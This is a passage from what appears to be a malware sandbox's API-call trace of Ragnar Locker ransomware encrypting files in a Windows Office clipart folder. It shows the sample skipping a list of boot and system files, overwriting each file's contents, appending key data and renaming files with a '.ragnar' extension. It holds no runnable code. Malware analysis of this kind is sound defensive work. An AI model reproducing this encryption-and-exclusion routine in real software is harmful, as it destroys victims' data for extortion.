lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.014] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01562U.BMP" | out: lpString1="PH01562U.BMP") returned="PH01562U.BMP" [0090.014] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP") returned=".BMP" [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="autorun.inf") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="boot.ini") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="bootfont.bin") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="bootsect.bak") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="bootmgr") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="bootmgr.efi") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="desktop.ini") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="iconcache.db") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="ntldr") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="ntuser.dat") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="ntuser.ini") returned 1 [0090.014] lstrcmpiW (lpString1="PH01562U.BMP", lpString2="thumbs.db") returned -1 [0090.014] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.014] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.014] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.014] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.014] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.014] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.014] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp")) returned 0x20 [0090.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.016] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0090.016] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.016] GetProcessHeap () returned 0x580000 [0090.016] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.016] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.017] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.017] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.017] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.017] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0090.018] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.018] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.019] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0090.019] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.019] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.019] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.019] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.019] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.019] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.019] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.019] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.019] GetProcessHeap () returned 0x580000 [0090.019] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.019] CloseHandle (hObject=0xf4) returned 1 [0090.020] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" [0090.020] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.ragnar_FD7BD9FC" [0090.020] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.020] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fb68400, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fb68400, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01607U.BMP", cAlternateFileName="")) returned 1 [0090.020] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.020] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01607U.BMP" | out: lpString1="PH01607U.BMP") returned="PH01607U.BMP" [0090.020] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP") returned=".BMP" [0090.020] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.020] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="autorun.inf") returned 1 [0090.020] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="boot.ini") returned 1 [0090.021] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="bootfont.bin") returned 1 [0090.021] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="bootsect.bak") returned 1 [0090.021] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="bootmgr") returned 1 [0090.021] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="bootmgr.efi") returned 1 [0090.021] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.021] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="desktop.ini") returned 1 [0090.021] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="iconcache.db") returned 1 [0090.021] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="ntldr") returned 1 [0090.021] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="ntuser.dat") returned 1 [0090.021] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.021] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="ntuser.ini") returned 1 [0090.021] lstrcmpiW (lpString1="PH01607U.BMP", lpString2="thumbs.db") returned -1 [0090.021] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.021] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.021] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.021] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.021] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.021] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.021] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp")) returned 0x20 [0090.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.022] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0090.022] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.022] GetProcessHeap () returned 0x580000 [0090.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.022] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.023] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.023] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.023] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.023] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.025] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.025] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.025] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.025] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.025] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.026] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.026] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.026] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.026] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.026] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.026] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.026] GetProcessHeap () returned 0x580000 [0090.026] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.026] CloseHandle (hObject=0xf4) returned 1 [0090.026] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" [0090.026] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.ragnar_FD7BD9FC" [0090.026] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.027] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a3dc00, ftCreationTime.dwHighDateTime=0x1bd4e60, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35a3dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e60, nFileSizeHigh=0x0, nFileSizeLow=0x9abe, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01931J.JPG", cAlternateFileName="")) returned 1 [0090.027] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.027] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01931J.JPG" | out: lpString1="PH01931J.JPG") returned="PH01931J.JPG" [0090.027] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG") returned=".JPG" [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="autorun.inf") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="boot.ini") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="bootfont.bin") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="bootsect.bak") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="bootmgr") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="bootmgr.efi") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="bootmgfw.efi") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="desktop.ini") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="iconcache.db") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="ntldr") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="ntuser.dat") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="ntuser.dat.log") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="ntuser.ini") returned 1 [0090.027] lstrcmpiW (lpString1="PH01931J.JPG", lpString2="thumbs.db") returned -1 [0090.027] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.027] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.027] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.027] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.027] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.027] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.027] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg")) returned 0x20 [0090.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.028] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=39614) returned 1 [0090.028] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9ab5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.028] GetProcessHeap () returned 0x580000 [0090.028] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.028] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.030] VirtualAlloc (lpAddress=0x0, dwSize=0x9abe, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.030] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.030] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.030] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x9abe, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x9abe, lpOverlapped=0x0) returned 1 [0090.032] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.032] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9abe, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.032] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x9abe, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x9abe, lpOverlapped=0x0) returned 1 [0090.032] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9abe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.032] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.033] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x9abe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.033] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.033] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.033] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.033] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.033] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.033] GetProcessHeap () returned 0x580000 [0090.033] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.033] CloseHandle (hObject=0xf4) returned 1 [0090.033] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" [0090.033] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.ragnar_FD7BD9FC" [0090.033] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.034] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x451e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02028K.JPG", cAlternateFileName="")) returned 1 [0090.034] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.034] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02028K.JPG" | out: lpString1="PH02028K.JPG") returned="PH02028K.JPG" [0090.034] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG") returned=".JPG" [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="autorun.inf") returned 1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="boot.ini") returned 1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="bootfont.bin") returned 1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="bootsect.bak") returned 1 [0090.034] lstrcmpiW 